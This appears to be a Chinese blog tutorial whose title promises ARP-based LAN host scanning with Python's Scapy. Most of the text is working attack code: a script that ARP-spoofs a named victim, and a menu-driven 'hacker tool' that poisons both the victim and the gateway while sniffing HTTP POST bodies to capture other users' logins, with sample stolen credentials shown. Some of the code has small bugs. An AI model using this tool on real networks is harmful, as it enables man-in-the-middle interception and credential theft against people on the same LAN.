Python程序之使用Scapy进行ARP局域网主机扫描

关于Scapy模块的详细介绍我就不在这里赘述了,附上一个连接以供了解。

Scapy模块介绍:https://scapy.readthedocs.io/en/latest/

Scapy模块使用:

Scapy模块属于第三方库,在Windows上需要输入pip install scapy进行安装。

如果Windows下安装scapy需要安装winpcap或npcap

注:安装过Wireshark则不用再次安装winpcap

       安装过nmap则不用再次安装npcap

启动Scapy会显示如下界面:

Python程序之使用Scapy进行ARP局域网主机扫描_第1张图片

ARP局域网扫描 :

ARP攻击前(ARP -a查看):

Python程序之使用Scapy进行ARP局域网主机扫描_第2张图片 

扫描程序: 

from scapy.all import *

ip="192.168.101.108"
wifi="Realtek RTL8723BE Wireless LAN 802.11n PCI-E NIC"

p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.101.1/24")
ans,unans=srp(p,timeout=2,iface=wifi)

print("一共扫描到%d台主机:"%len(ans))
result=[]
for s,r in ans:
    result.append([r[ARP].psrc,r[ARP].hwsrc])
result.sort()
for ip,mac in result:
    print(ip,"----->",mac)
    
p1=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.101.106",psrc="192.168.101.1")#192.168.101.106,被欺骗主机ip
for i in range(6000):
    sendp(p1)
    time.sleep(0.1)

扫描到的主机: 

Python程序之使用Scapy进行ARP局域网主机扫描_第3张图片 

 被攻击后(ARP -a查看):

Python程序之使用Scapy进行ARP局域网主机扫描_第4张图片 

用wireshark抓包,嗅探对方上网记录:

Python程序之使用Scapy进行ARP局域网主机扫描_第5张图片 

用户名:admin            密码:123456

进一步完善扫描程序: 

import os
import re 
import time
from scapy.all import *
from threading import Thread

#定义变量函数
gw=''
wifi="Realtek RTL8723BE Wireless LAN 802.11n PCI-E NIC"
#扫描局域网,显示活跃主机
def scan():
    global gw
    for line in os.popen("route print"):
        s=line.strip()
        if s.startswith("0.0.0.0"):
            slist=s.split()
            ip=slist[3]
            gw=slist[2]
            break
    print("本机上网的ip是:",ip)
    print("本机上网的网关是:",gw)
    tnet=gw+"/24"
    #wifi="Realtek RTL8723BE Wireless LAN 802.11n PCI-E NIC"
    p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=tnet)
    ans,unans=srp(p,iface=wifi,timeout=2,verbose=0)
    print("一共扫描到%d台主机:"%len(ans))
    result=[]
    for s,r in ans:
        result.append([r.psrc,r.hwsrc])
    result.sort()
    for ip,mac in result:
        print(ip,"----->",mac)
#scan()

#解读密码
def showpwd(p):
    if p.haslayer(Raw):
        try:
            data=p.load().decode(encode='utf-8',errors='ignore')
            if data.startswith("POST"):
                print(time.strftime("%Y%m%d %H:%M:%S"))
                head,txt=data.split("\r\n\r\n")
                hlist=head.split("\r\n")
                path=hlist[0].split()[1]
                for line in hlist[1:]:
                    if line.startswith("Host"):
                        host=line.split()[-1]
                        break
                url="http://+host+path"
                print(url)
                print(txt)
        except:
            pass
    
#抓包
def capture(vic,t):
    tj="tcp port 80 and host "+vic
    pkts=sniff(iface=wifi,filter=tj,prn=showpwd,timeout=t)
    fname="p%d.pcap"%int(time.time())
    wrpcap(fname,pkts)
    print("抓包数据已存入文件%s。"%fname)

#ARP攻击
def spoof():
    vic=input("请输入攻击目标:")  #vic被攻击者
    t=int(input("请输入攻击时间(单位:秒):"))
    ct=Thread(target=capture,args=(vic,t))
    ct.start()
    for i in range(5*int(t)):
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=vic,psrc=gw),verbose=0)
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=gw,psrc=vic),verbose=0)
        time.sleep(0.2)
    ct.join()
    print("攻击结束!")

#主函数
def main():
    print("hacker工具!")
    while 1:
        sel=input("请选择要进行的操作:1、局域网扫描;2、ARP欺骗;3、流量分析;4、退出\n")
        if sel=="1":
            scan()
        elif sel=="2":
            if not gw:
                print("请先执行扫描程序!")
            else:
                spoof()
        elif sel=="3":
            print("开发中...")
            pass
        elif sel=="4":
            print("欢迎下次使用!再见!")
            break
        else:
            print("输入有误请重新输入!")
        
if __name__=="__main__":
    main()

扫描局域网中活跃主机:

Python程序之使用Scapy进行ARP局域网主机扫描_第6张图片 

进行ARP攻击,自动抓包并保存,解读抓包信息: 

 

嗅探对方上网记录:

Python程序之使用Scapy进行ARP局域网主机扫描_第7张图片 

 

 

 

 

 

 

 

你可能感兴趣的:(Python程序)